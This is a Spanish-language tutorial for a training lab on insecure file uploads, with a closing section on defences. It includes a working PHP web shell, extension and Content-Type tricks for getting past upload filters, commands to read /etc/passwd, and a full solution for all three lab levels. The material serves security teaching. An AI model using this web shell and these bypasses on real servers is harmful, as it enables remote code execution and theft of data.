Subes un archivo. El servidor ejecuta lo que quieras

Los formularios de subida de archivos son una de las puertas traseras más comunes. Si el servidor no valida lo que recibes, un atacante puede subir código y ejecutarlo.

⚡ Ir al laboratorio (puede tardar en levantarse)

Lo que necesitas: un navegador y un editor de texto (el Bloc de notas vale). Nada más.


¿Qué es un File Upload inseguro?

Muchas webs te dejan subir archivos — una foto de perfil, un CV, un documento. El servidor recibe ese archivo y lo guarda en una carpeta.

El problema: si el servidor no comprueba qué tipo de archivo estás subiendo, puedes subir cualquier cosa. Incluyendo código.

Los servidores web pueden ejecutar código de programación — es lo que hace que las webs funcionen. Si subes un archivo con código y el servidor lo ejecuta, puedes hacer lo que quieras en ese servidor: leer archivos, borrarlos, robar datos.

Eso se llama ejecución remota de código y es uno de los fallos más graves que existen.


¿Cómo se explota?

Vamos paso a paso.

Paso 1 — crea el archivo malicioso

Abre el Bloc de notas (o cualquier editor de texto) y escribe exactamente esto:

<?php echo shell_exec($_GET['cmd']); ?>

Guárdalo como shell.php.

¿Qué hace esto? PHP es un lenguaje de programación que los servidores web ejecutan. shell_exec le dice al servidor “ejecuta este comando del sistema”. $_GET['cmd'] significa “coge el comando de la URL”. Es decir: lo que tú escribas en la URL, el servidor lo ejecuta.

Paso 2 — intenta subirlo

Ve al laboratorio e intenta subir shell.php como si fuera una imagen.

  • Si lo acepta → ve al paso 4
  • Si lo rechaza → prueba el paso 3

Paso 3 — salta la validación

Algunos servidores bloquean archivos .php pero tienen la validación mal hecha. Prueba a renombrar el archivo:

shell.pHp        ← mayúsculas y minúsculas mezcladas
shell.php5       ← versión antigua de PHP, a veces se cuela
shell.phtml      ← otro formato que PHP también ejecuta

Si el servidor solo mira la última extensión y no distingue mayúsculas, alguna de estas pasará.

Paso 4 — encuentra dónde quedó el archivo

Cuando el servidor acepta un archivo, suele decirte la ruta donde lo guardó. Anótala — algo como /uploads/shell.php.

Paso 5 — ejecútalo

Abre el navegador y ve a esa ruta, añadiendo ?cmd= al final con el comando que quieras ejecutar:

https://url-del-lab/uploads/shell.php?cmd=id

id es un comando de Linux que dice quién eres en el sistema. Si el servidor lo ejecutó, verás algo como:

uid=33(www-data) gid=33(www-data)

Eso significa que tienes ejecución de código en el servidor.

Ahora prueba a leer un archivo sensible del sistema:

?cmd=cat+/etc/passwd

/etc/passwd es un archivo de Linux que contiene la lista de usuarios del sistema. Si lo ves, tienes acceso real al servidor.


🎯 Tu reto

El laboratorio tiene 3 niveles. Empieza por el primero y ve subiendo.

Consigue que el servidor ejecute tu código y devuelva el contenido de /etc/passwd.


🛡️ Cómo se protege

Lista blanca de extensiones — el servidor solo acepta los tipos de archivo que tú decides. Todo lo demás, rechazado:

PERMITIDOS = {'jpg', 'jpeg', 'png', 'gif', 'pdf'}

def extension_permitida(nombre):
    return '.' in nombre and nombre.rsplit('.', 1)[1].lower() in PERMITIDOS

Renombrar el archivo al guardarlo — nunca guardar con el nombre que mandó el usuario. Se genera un nombre aleatorio para que no sea predecible:

import uuid
nuevo_nombre = str(uuid.uuid4()) + '.jpg'

Guardar fuera del webroot — el “webroot” es la carpeta accesible desde el navegador. Si los archivos se guardan fuera de esa carpeta, aunque alguien suba un .php, el navegador nunca puede abrirlo y el servidor nunca lo ejecuta.


// ¿te has atascado?

🔒

Ver solución paso a paso

Haz clic para revelar

  1. Abre el Bloc de notas y escribe: <?php echo shell_exec($_GET['cmd']); ?>
  2. Guárdalo como shell.php (asegúrate de que no se guarda como shell.php.txt).
  3. Súbelo en el Nivel 1 del laboratorio — no tiene validación, lo acepta.
  4. El servidor te dice la ruta donde quedó: algo como /uploads/nivel1/shell.php.
  5. Abre en el navegador: [url-del-lab]/uploads/nivel1/shell.php?cmd=id
  6. Si ves uid=33(www-data), funciona. Prueba: ?cmd=cat+/etc/passwd
  7. Para el Nivel 2, renombra el archivo a shell.pHp o shell.php5 y repite.
  8. Para el Nivel 3: F12 → Network → sube el archivo → clic derecho en la petición → “Editar y reenviar” → cambia el Content-Type a image/jpeg → envía.